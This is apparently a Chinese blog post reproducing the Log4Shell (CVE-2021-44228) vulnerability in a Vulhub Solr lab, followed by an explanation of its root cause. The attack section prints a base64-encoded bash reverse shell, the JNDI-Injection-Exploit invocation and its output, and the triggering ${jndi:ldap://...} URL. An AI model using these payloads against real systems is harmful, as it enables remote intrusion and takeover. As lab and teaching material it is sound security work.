Log4j2 远程代码执行漏洞(CVE-2021-44228)复现

本文针对具有“核弹级”影响的 Log4j2 远程代码执行漏洞(CVE-2021-44228,又称 Log4Shell) 进行了全流程复现与深度原理分析。该漏洞源于 Apache Log4j2 日志框架对 JNDI(Java 命名和目录接口) 注入攻击缺乏有效防御,允许攻击者通过发送包含特定指令的日志字符串,诱导服务器从远程恶意地址加载并执行任意 Java 代码。

漏洞基础信息

漏洞编号 CVSS 评分 影响版本 漏洞类型
CVE-2021-44228 10.0 Apache Log4j2 2.0-beta9 至 2.14.1 远程代码执行 (RCE)

漏洞复现

复现环境准备

使用vulhub快速搭建漏洞环境:

# 安装Docker和docker-compose
apt install docker.io docker-compose

# 将 Vulhub 项目克隆到本地
git clone https://github.com/vulhub/vulhub.git

# 拉取镜像并启动容器
cd vulhub/log4j/CVE-2021-44228
docker-compose up -d

# 确认容器启动状态
docker ps

eda4bde0a45d   vulhub/solr:8.11.0   "bash /docker-entryp…"   28 seconds ago   Up 28 seconds   0.0.0.0:5005->5005/tcp, :::5005->5005/tcp, 0.0.0.0:8983->8983/tcp, :::8983->8983/tcp   cve-2021-44228-solr-1

可正常访问控制台页面http://target-IP:8983说明启动成功:

solr页面

目标探测

nmap -sS -Pn -T4 -sV -p- --script "default,vulners" target-IP

# 扫描结果
PORT     STATE SERVICE VERSION
5005/tcp open  jdwp    Java Debug Wire Protocol (Reference Implementation) version 1.8 1.8.0_102
|_jdwp-info: ERROR: Script execution failed (use -d to debug)
8983/tcp open  http    Apache Solr
| http-title: Solr Admin
|_Requested resource was http://192.168.31.148:8983/solr/
MAC Address: 00:0C:29:B3:23:74 (VMware)

8983 端口开放,运行 HTTP 服务,nmap 识别为Apache Solr(Log4Shell 漏洞靶机的核心服务),端口状态为open(开放),说明 TCP 连接可正常建立。

5005 端口开放,运行JDWP(Java 调试线协议),靶机 Solr 开启了 Java 调试模式,属于额外环境信息。

攻击过程

使用JNDI-Injection-Exploit 工具

使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar需要JDK 8,如果kali自带的OpenJDK版本过高且Kali Rolling(滚动更新版)的默认软件源移除了 OpenJDK 8(被标记为旧版 / 归档),推荐手动下载对应版本。

┌──(kali㉿kali)-[~]
└─$ cd /usr/local

┌──(kali㉿kali)-[/usr/local]
└─$ wget https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u422-b05/OpenJDK8U-jdk_x64_linux_hotspot_8u422b05.tar.gz
└─$ tar -xzvf OpenJDK8U-jdk_x64_linux_hotspot_8u422b05.tar.gz 
└─$ mv jdk8u422-b05/ jdk8

└─$ export JAVA_HOME=/usr/local/jdk8
└─$ export PATH=$JAVA_HOME/bin:$PATH    #此处修改仅临时生效

└─$ java -version 
openjdk version "1.8.0_422"
OpenJDK Runtime Environment (Temurin)(build 1.8.0_422-b05)
OpenJDK 64-Bit Server VM (Temurin)(build 25.422-b05, mixed mode)
└─$ javac -version
javac 1.8.0_422

攻击机启动 nc 监听,接收反弹 Shell:

┌──(kali㉿kali)-[~]
└─$ nc -lvvp 4444            
listening on [any] 4444 ...

下载并启动工具,生成反弹 Shell 恶意载荷:

┌──(kali㉿kali)-[/usr/local] # 生成反弹Shell命令的Base64编码
└─$ echo "bash -i >& /dev/tcp/attacker-IP/4444 0>&1" | base64 | tr -d '\n'
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE1Mi80NDQ0IDA+JjEK

└─$ wget https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar    # 下载工具

# 格式:java -jar 工具包 -C "反弹Shell命令" -A attacker-IP
└─$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE1Mi80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}" -A 192.168.31.152
[ADDRESS] >> 192.168.31.152
[COMMAND] >> bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE1Mi80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}
----------------------------JNDI Links---------------------------- 
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://192.168.31.152:1099/nh5zbf
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://192.168.31.152:1099/qma4qp
ldap://192.168.31.152:1389/qma4qp
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://192.168.31.152:1099/z8a4er
ldap://192.168.31.152:1389/z8a4er

----------------------------Server Log----------------------------
2022-01-14 18:43:58 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2022-01-14 18:43:58 [RMISERVER]  >> Listening on 0.0.0.0:1099
2022-01-14 18:43:58 [LDAPSERVER] >> Listening on 0.0.0.0:1389

成功启动了 JNDI-Injection-Exploit 工具,终端输出显示 LDAP/RMI/HTTP 服务器均已正常监听(8180/1099/1389 端口),且工具已根据不同 JDK 版本生成了对应的恶意 JNDI 链接。接下来只需选择适配靶机的 Payload 触发漏洞,就能拿到反弹 Shell。

浏览器拼接访问:

http://target-IP:8983/solr/admin/cores?action=${jndi:ldap://192.168.31.152:1389/z8a4er}

反弹Shell成功,容器id与先前拉起的靶机一致:

反弹成功

漏洞核心原理

核心前置概念

先明确 2 个关键概念,否则原理会难以理解:

Log4j2 的「消息格式化」功能

Log4j2是Java生态最常用的日志框架,它支持参数化日志和格式化语法,你可以在日志中写 ${变量名},Log4j2 会自动解析这个变量并替换为对应的值。

比如代码中写:

logger.info("用户IP:${ip}");

Log4j2 会把 ${ip} 替换成实际的IP地址,这是正常的格式化功能。

JNDI(Java 命名和目录接口)

JNDI是Java的一个接口,用于访问命名/目录服务(比如 LDAP、RMI、DNS等)。简单说,通过JNDI,Java程序可以从远程服务器上加载数据/类。

// 通过 JNDI 从 LDAP 服务器加载一个对象
Context ctx = new InitialContext();
Object obj = ctx.lookup("ldap://192.168.31.152:1389/malicious");

正常情况下,这是为了方便程序访问远程资源,但被漏洞利用后就成了RCE的通道。

核心漏洞根源

这个漏洞的本质是:Log4j2对日志中的 ${} 语法解析过于宽松,允许解析 JNDI 协议的表达式,且未限制远程加载类的行为

无过滤解析${jndi:…}`表达式

Log4j2不仅会解析普通变量(如 ${ip}),还会解析 ${jndi:xxx} 这种JNDI表达式,只要日志中出现这个语法,Log4j2 就会自动调用 JNDI 接口去执行 lookup 操作。

比如攻击者在请求中传入:

${jndi:ldap://192.168.31.152:1389/恶意类}

只要这个字符串被写入Log4j2日志,就会触发JNDI解析。

允许远程加载类(URLCodebase开启)

Log4j2底层依赖的JDK默认开启了从远程URL加载类的功能(trustURLCodebase=true)。当JNDI访问 LDAP/RMI 服务器时,不仅能加载数据,还能加载远程服务器上的恶意Java类,并直接执行类中的代码。

输入可控性

攻击者可以通过任意能被Log4j2记录的输入(比如 URL参数、HTTP请求头、表单数据等)传入${jndi:...}表达式。比如User-Agent/X-Forwarded-For 请求头、q 参数等,只要被写入日志,就会触发漏洞。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇